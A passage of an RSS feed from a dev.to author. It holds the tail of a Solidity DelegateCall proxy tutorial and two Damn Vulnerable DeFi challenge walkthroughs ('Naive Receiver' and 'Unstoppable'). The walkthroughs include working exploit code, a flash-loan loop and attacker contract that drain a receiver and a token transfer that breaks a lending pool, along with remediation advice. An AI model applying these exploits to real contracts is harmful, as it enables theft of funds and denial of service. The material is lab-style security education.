    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;setImplementation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;implementation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;implementation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;fallback&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;impl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_implementation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;assembly&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;calldatacopy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;calldatasize&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="kr"&gt;let&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;delegatecall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gas&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;impl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;calldatasize&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;returndatacopy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;returndatasize&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="kr"&gt;switch&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
            &lt;span class="kr"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nb"&gt;revert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;returndatasize&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="kr"&gt;default&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;returndatasize&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, we define a contract called &lt;code&gt;Proxy&lt;/code&gt; that contains a private &lt;code&gt;_implementation&lt;/code&gt; variable. This variable stores the address of the contract that contains the contract logic. We also define a &lt;code&gt;setImplementation&lt;/code&gt; function that allows the contract owner to update the &lt;code&gt;_implementation&lt;/code&gt; variable.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;fallback&lt;/code&gt; function is where the magic happens. It uses &lt;code&gt;delegatecall&lt;/code&gt; to execute the function call in the context of the contract that contains the contract logic. This means that the contract state is still stored in the &lt;code&gt;Proxy&lt;/code&gt; contract, but the contract logic is executed in the context of the &lt;code&gt;_implementation&lt;/code&gt; contract.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;We learned what is the DelegateCall opcode in Solidity, an important feature for smart contract developers.&lt;/li&gt;
&lt;li&gt;DelegateCall allows a contract to execute code from another contract while using the state and storage of the calling contract.&lt;/li&gt;
&lt;li&gt;We explained the fundamental differences between DelegateCall and Call and discussed the risks and vulnerabilities of smart contracts.&lt;/li&gt;
&lt;li&gt;DelegateCall can be used to upgrade smart contracts without losing any data. By creating a separate contract containing the upgraded logic and calling that contract from the main contract, developers can upgrade their contracts while retaining the main contract's storage.&lt;/li&gt;
&lt;li&gt;We saw some code samples to better understand how DelegateCall works and its most common use cases. Examples include creating proxy contracts, modular contracts, implementing library contracts, and enabling cross-chain communication between different blockchain networks.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>delegatecall</category>
      <category>solidity</category>
      <category>example</category>
      <category>security</category>
    </item>
    <item>
      <title>Damn Vulnerable DeFI 2022 Walkthrough — Challenge 2 Solution “Naive Receiver”</title>
      <dc:creator>JohnnyTime 🤓</dc:creator>
      <pubDate>Fri, 02 Dec 2022 11:09:02 +0000</pubDate>
      <link>https://dev.to/johnnytime/damn-vulnerable-defi-2022-walkthrough-challenge-2-solution-naive-receiver-4337</link>
      <guid>https://dev.to/johnnytime/damn-vulnerable-defi-2022-walkthrough-challenge-2-solution-naive-receiver-4337</guid>
      <description>&lt;h2&gt;
  
  
  Master Smart Contract Hacking
&lt;/h2&gt;

&lt;p&gt;Become a smart contract hacker 😎 → &lt;a href="https://bit.ly/become-smh"&gt;https://bit.ly/become-smh&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Damn Vulnerable DEFI 2 - Naive Receiver
&lt;/h2&gt;

&lt;p&gt;Welcome to the second Damn Vulnerable DeFI challenge walkthrough!&lt;/p&gt;

&lt;p&gt;In today’s article, I will show you how to hack the naive receiver smart contract step by step.&lt;/p&gt;

&lt;p&gt;The Damn Vulnerable DeFi teaches offensive security techniques for DeFi smart contracts. You will develop your skills as a bug hunter or security auditor through numerous challenges.&lt;/p&gt;

&lt;p&gt;I would like to thank &lt;a href="https://twitter.com/tinchoabbate"&gt;@tinchoabbate&lt;/a&gt; for creating the awesome &lt;a href="https://www.damnvulnerabledefi.xyz/"&gt;Damn Vulnerable DEFI challenges&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here is a video showing how to solve the challenge of the “Naive Receiver”:&lt;br&gt;
&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/-giCZpv9Da0"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  “Naive Receiver” (Challenge 2)
&lt;/h2&gt;

&lt;p&gt;Our next challenge involves lending pools and flash loans, this time we need to attack the users who request the loan. Here are the instructions:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.&lt;br&gt;
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.&lt;br&gt;
Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/naive-receiver"&gt;Naive Receiver contracts&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Attacker’s Goal
&lt;/h2&gt;

&lt;p&gt;Ultimately, our goal is to drain all the funds from the user’s contract. In this case, draining is not necessarily stealing those funds; it could simply be transferring funds from the contract without the consent of the user.&lt;/p&gt;

&lt;h2&gt;
  
  
  The “FlashLoanReceiver” Contract
&lt;/h2&gt;

&lt;p&gt;Users interact with the lending pool that offers flash loans through this contract. When a user requests a flash loan, the lending pool calls the callback function &lt;code&gt;receiveEther&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;receiveEther&lt;/code&gt; function has a single parameter called fee specifies how much the user must repay the lending pool for a flash loan. There are some security/validation checks in the function:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Both the loan and its fee are repaid from the contract’s balance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The msg.sender is indeed the lending pool address where the callback is expected to be made&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When checking that it will execute the internal logic that will benefit from the flash loan by calling &lt;code&gt;_executeActionDuringFlashLoan&lt;/code&gt; and repaying the loan by sending back the borrowed amount plus a fee&lt;br&gt;
The “&lt;code&gt;NaiveReceiverLenderPool&lt;/code&gt;” Contract&lt;br&gt;
In this contract, flash loans are provided at a fixed fee of 1 ETH. &lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here are the parameters for the flashLoan function:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;borrower&lt;/strong&gt; — address that will receive the borrow&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;borrowAmount&lt;/strong&gt; — the amount of ether that will be sent to the borrower contract&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;u&gt;The functionality is as followers:&lt;/u&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ensure that the contract balance exceeds the requested loan amount&lt;/li&gt;
&lt;li&gt;The borrower is not an EOA, but rather a contract. It is needed since the lending pool will call a specific callback that must be implemented by the contract in order to send the borrowed amount.&lt;/li&gt;
&lt;li&gt;With the fee amount as the parameter, call receiveEther on the borrower.&lt;/li&gt;
&lt;li&gt;The contract checks that the newly updated balance of the contract is equal to or greater than the balance before the flash loan plus the 1 ETH fee after the flash loan is completed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;In the FlashLoanReceiver contract implementation, the following vulnerabilities were found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;receiveEther()&lt;/code&gt; lacks proper access control, so anyone can make a flash loan on behalf of the receiver.&lt;/li&gt;
&lt;li&gt;Every time anyone calls the &lt;code&gt;receiveEther()&lt;/code&gt; function, it gives away 1 ETH to the pool without verifying that the contract received ETH.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The attack
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Option 1
&lt;/h3&gt;

&lt;p&gt;Call the &lt;code&gt;flashLoan()&lt;/code&gt; function 10 times on &lt;code&gt;NaiveReceiverLenderPool&lt;/code&gt;, passing 0 as &lt;code&gt;borrowAmount&lt;/code&gt; and the address of the &lt;code&gt;FlashLoanReceiver&lt;/code&gt; contract as borrower. FlashLoanReceiver’s &lt;code&gt;receiveEther()&lt;/code&gt; function will drain the 10 ETH from the contract and send them to the pool.&lt;/p&gt;

&lt;p&gt;&lt;u&gt;Here it the code:&lt;/u&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;it('Exploit', async function ()

  for(var i = 0; i &amp;lt; 10; i++){
    await this.pool.connect(attacker).flashLoan(this.receiver.address, 0);
  }

});{ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the results:&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QpiYAhaL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ozoze4kw5wdzuhbimfl0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QpiYAhaL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ozoze4kw5wdzuhbimfl0.png" alt="Image description" width="692" height="348"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Option 2
&lt;/h3&gt;

&lt;p&gt;The second option involves writing a contract (I called it &lt;code&gt;NaiveReceiverAttacker&lt;/code&gt;) that calls the &lt;code&gt;flashLoan()&lt;/code&gt; function and attacks in a similar manner to option 1 (invoking it 10 times).&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;attack()&lt;/code&gt; function of our attacker contract is executed only once, and this function calls &lt;code&gt;NaiveReceiverLenderPool&lt;/code&gt; 10 times for us, achieving the same result as we did with option 1.&lt;/p&gt;

&lt;p&gt;Attacker’s contract code (&lt;code&gt;NaiveReceiverAttack.sol&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MI
pragma solidity ^0.8.0;

interface IPool {
    function flashLoan(address borrower, uint256 borrowAmount) external;
}

contract NaiveReceiverAttacker {
    IPool pool;

    constructor(address payable _poolAddress) public {
        pool = IPool(_poolAddress);
    }

    function attack(address victim) external {
        for(uint i; i &amp;lt; 10; i++){
            pool.flashLoan(victim, 0);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;u&gt;JS file:&lt;/u&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;it('Exploit', async function ()

  const AttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', attacker);
        this.attackerContract = await AttackerFactory.deploy(this.pool.address);
        await this.attackerContract.attack(this.receiver.address);

});{ 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the result:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gTSwdOXF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/89202t4n102y3tkli6tn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gTSwdOXF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/89202t4n102y3tkli6tn.png" alt="Image description" width="652" height="364"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;😎 🤯&lt;/p&gt;

&lt;h2&gt;
  
  
  Security Recommendations
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Calculate the difference between ETH received and ETH transferred. A require() statement should be written to ensure that the amount of ETH received via the flash loan is greater than a logical amount, such as 1 ETH for the fixed fee.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Access control should be implemented. To ensure that only the owner can call receiveEther() on behalf of the FlashLoanReceiver contract, declare a contract owner and place a require() statement inside the function.&lt;br&gt;
Congratulation guys, you completed the second Damn Vulnerable DEFI challenge!&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  About GingerSec
&lt;/h2&gt;

&lt;p&gt;Ex black-hat hackers at your service — all worked for state intelligence agencies in the past (ask us about it!) 🕵️&lt;br&gt;
&lt;a href="https://gingersec.xyz/"&gt;Get your FREE consultation&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Next:
&lt;/h2&gt;

&lt;p&gt;Damn Vulnerable DeFI Challenge 3 (“Truster”) Solution&lt;br&gt;
&lt;a href="https://smartcontractshacking.com/"&gt;Master Smart Contract Hacking &amp;amp; Auditing&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Until next time,&lt;/p&gt;

&lt;p&gt;JohnnyTime @ GingerSec.&lt;/p&gt;

</description>
      <category>ethereum</category>
      <category>solidity</category>
      <category>blockchain</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Damn Vulnerable DeFI 2022 Walkthrough — Challenge 1 Solution “Unstoppable”</title>
      <dc:creator>JohnnyTime 🤓</dc:creator>
      <pubDate>Wed, 19 Oct 2022 17:34:02 +0000</pubDate>
      <link>https://dev.to/johnnytime/damn-vulnerable-defi-2022-walkthrough-challenge-1-solution-unstoppable-3p6f</link>
      <guid>https://dev.to/johnnytime/damn-vulnerable-defi-2022-walkthrough-challenge-1-solution-unstoppable-3p6f</guid>
      <description>&lt;h2&gt;
  
  
  Master Smart Contract Hacking
&lt;/h2&gt;

&lt;p&gt;Become a smart contract hacker 😎 → &lt;a href="https://bit.ly/become-smh"&gt;https://bit.ly/become-smh&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Damn Vulnerable DEFI
&lt;/h2&gt;

&lt;p&gt;Welcome to the Damn Vulnerable DeFI challenge walkthrough!&lt;/p&gt;

&lt;p&gt;Damn Vulnerable DeFi teaches offensive security of DeFi smart contracts. Your skills will be developed through numerous challenges to help you become a bug hunter or security auditor.&lt;/p&gt;

&lt;p&gt;Before starting I wanted to give a shoutout to &lt;a href="https://twitter.com/tinchoabbate"&gt;@tinchoabbate&lt;/a&gt; which built the awesome &lt;a href="https://www.damnvulnerabledefi.xyz/"&gt;Damn Vulnerable Defi challenge&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In the upcoming articles, I will walk you through the challenges and show you the most efficient way to solve them. Let’s get started!&lt;/p&gt;

&lt;p&gt;You can also watch this video to see how to solve the “Unstoppable” challenge:&lt;br&gt;
&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/QbIYmnkrTwk"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h1&gt;
  
  
  Damn Vulnerable DeFi Setup
&lt;/h1&gt;

&lt;p&gt;In order to get started clone &lt;a href="https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0"&gt;this repository&lt;/a&gt;, in your terminal type &lt;code&gt;git checkout v2.2.0&lt;/code&gt; to check out the most recent version, and run &lt;code&gt;yarn install&lt;/code&gt; to install dependencies.&lt;/p&gt;

&lt;p&gt;Now, we’ve got 2 main important folders: &lt;strong&gt;contracts&lt;/strong&gt; and &lt;strong&gt;tests&lt;/strong&gt;. For each challenge we will have a subfolder in these 2 folders, &lt;strong&gt;contracts&lt;/strong&gt; will include the vulnerable smart contracts of the challenge, and &lt;strong&gt;tests&lt;/strong&gt; will include the Javascript file to deploy the contracts, setup the challenge, and for you to test your exploit.&lt;/p&gt;

&lt;h1&gt;
  
  
  Challenge 1 — “Unstoppable”
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;There’s a lending pool UnstoppableLenderwith a million DamnValuableToken (DVT) tokens in balance, offering flash loans for free.&lt;br&gt;
If only there was a way to attack and stop the pool from offering flash loans …You start with 100 DVT tokens in balance.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is a classic DOS (Denial Of Service) attack, and our goal is to break the pool, so NO ONE will be ever able to use it. Awesome! :)&lt;/p&gt;

&lt;p&gt;The first thing I usually do is look in the test files to understand the business logic, while looking in the &lt;code&gt;unstoppable.challlenge.js&lt;/code&gt; we can see how the &lt;code&gt;DamnValuableToken&lt;/code&gt; and the &lt;code&gt;UnstoppableLender&lt;/code&gt; contracts are being deployed, how ETH is being sent to the pool and some sanity checks to make sure everything is working as expected.&lt;/p&gt;

&lt;p&gt;To understand how the pool works we jump into the &lt;code&gt;UnstoppableLender.sol&lt;/code&gt; smart contract, specifically the &lt;code&gt;flashLoan&lt;/code&gt; function which we need to break!&lt;/p&gt;

&lt;h1&gt;
  
  
  Solving the “Unstoppable” Challenge
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Attack Plan
&lt;/h2&gt;

&lt;p&gt;In the flashLoan function, there are some &lt;code&gt;asserts&lt;/code&gt; and &lt;code&gt;require&lt;/code&gt; opcodes, in case these requirements fail, the transaction will be reverted. We will try to find how we can ALWAYS make one of these assets / require fail. Let’s check everyone and what we can break:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;require(borrowAmount &amp;gt; 0, "Must borrow at least one token");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AND&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;require(balanceBefore &amp;gt;= borrowAmount, "Not enough tokens in pool");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Can’t be broken since the &lt;code&gt;borrowAmount&lt;/code&gt; is a param that is sent by the user every transaction.&lt;/p&gt;

&lt;p&gt;This assert of integers is interesting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
assert(poolBalance == balanceBefore);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The pool is checking that the current token balance (balanceBefore) is equal to the poolBalance parameter, what is this poolBalance parameter and how it’s calculated?&lt;/p&gt;

&lt;p&gt;The poolBalance is a storage variable that keeps track of the contract’s token balance, and it’s being updated in the &lt;code&gt;depositTokens&lt;/code&gt; function every time someone deposits tokens.&lt;/p&gt;

&lt;p&gt;So in order to break the assets we need to make sure that &lt;code&gt;poolBalance != balanceBefore&lt;/code&gt; we can simply do it by sending the ERC20 token DIRECTLY to the contract WITHOUT going through the &lt;code&gt;depositTokens&lt;/code&gt; function, so simple right?&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;

&lt;p&gt;We don’t need to create and deploy smart contracts in this challenge, since the exploitation is quite simple, we just need to send some DVD ERC20 tokens directly to the pool without going through the depsitTokens function. Let’s add this line of code to the &lt;code&gt;unstoppable.challenge.js&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;await this.token.connect(attacker).transfer(this.pool.address, 1);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By adding this line of code to the exploit section, we are transferring 1 DVD token to the pool, breaking permanently the assert between &lt;code&gt;poolBalance&lt;/code&gt; and the &lt;code&gt;balanceBefore&lt;/code&gt; variables.&lt;/p&gt;

&lt;p&gt;Now we will run &lt;code&gt;yarn unstoppable&lt;/code&gt; in our terminal to check if our exploitation works, and here are the results:&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--jAN7gLVN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dm71863nokn74931d3kv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--jAN7gLVN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dm71863nokn74931d3kv.png" alt="Image description" width="654" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Congratulation guys, you completed the first Damn Vulnerable DEFI challenge! Next:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Damn Vulnerable DeFI Challenge 2 (“Naive Receiver”) Solution&lt;/li&gt;
&lt;li&gt;&lt;a href="http://smartcontractshacking.com/"&gt;Master Smart Contract Hacking &amp;amp; Auditing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gingerlabs.xyz/"&gt;Request a Smart Contract Audit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Until next time,&lt;br&gt;
JohnnyTime.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Hello World!</title>
      <dc:creator>JohnnyTime 🤓</dc:creator>
      <pubDate>Wed, 20 Jul 2022 17:19:10 +0000</pubDate>
      <link>https://dev.to/johnnytime/hello-world-3mbg</link>
      <guid>https://dev.to/johnnytime/hello-world-3mbg</guid>
      <description>&lt;p&gt;Glad to be here &amp;lt;3&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
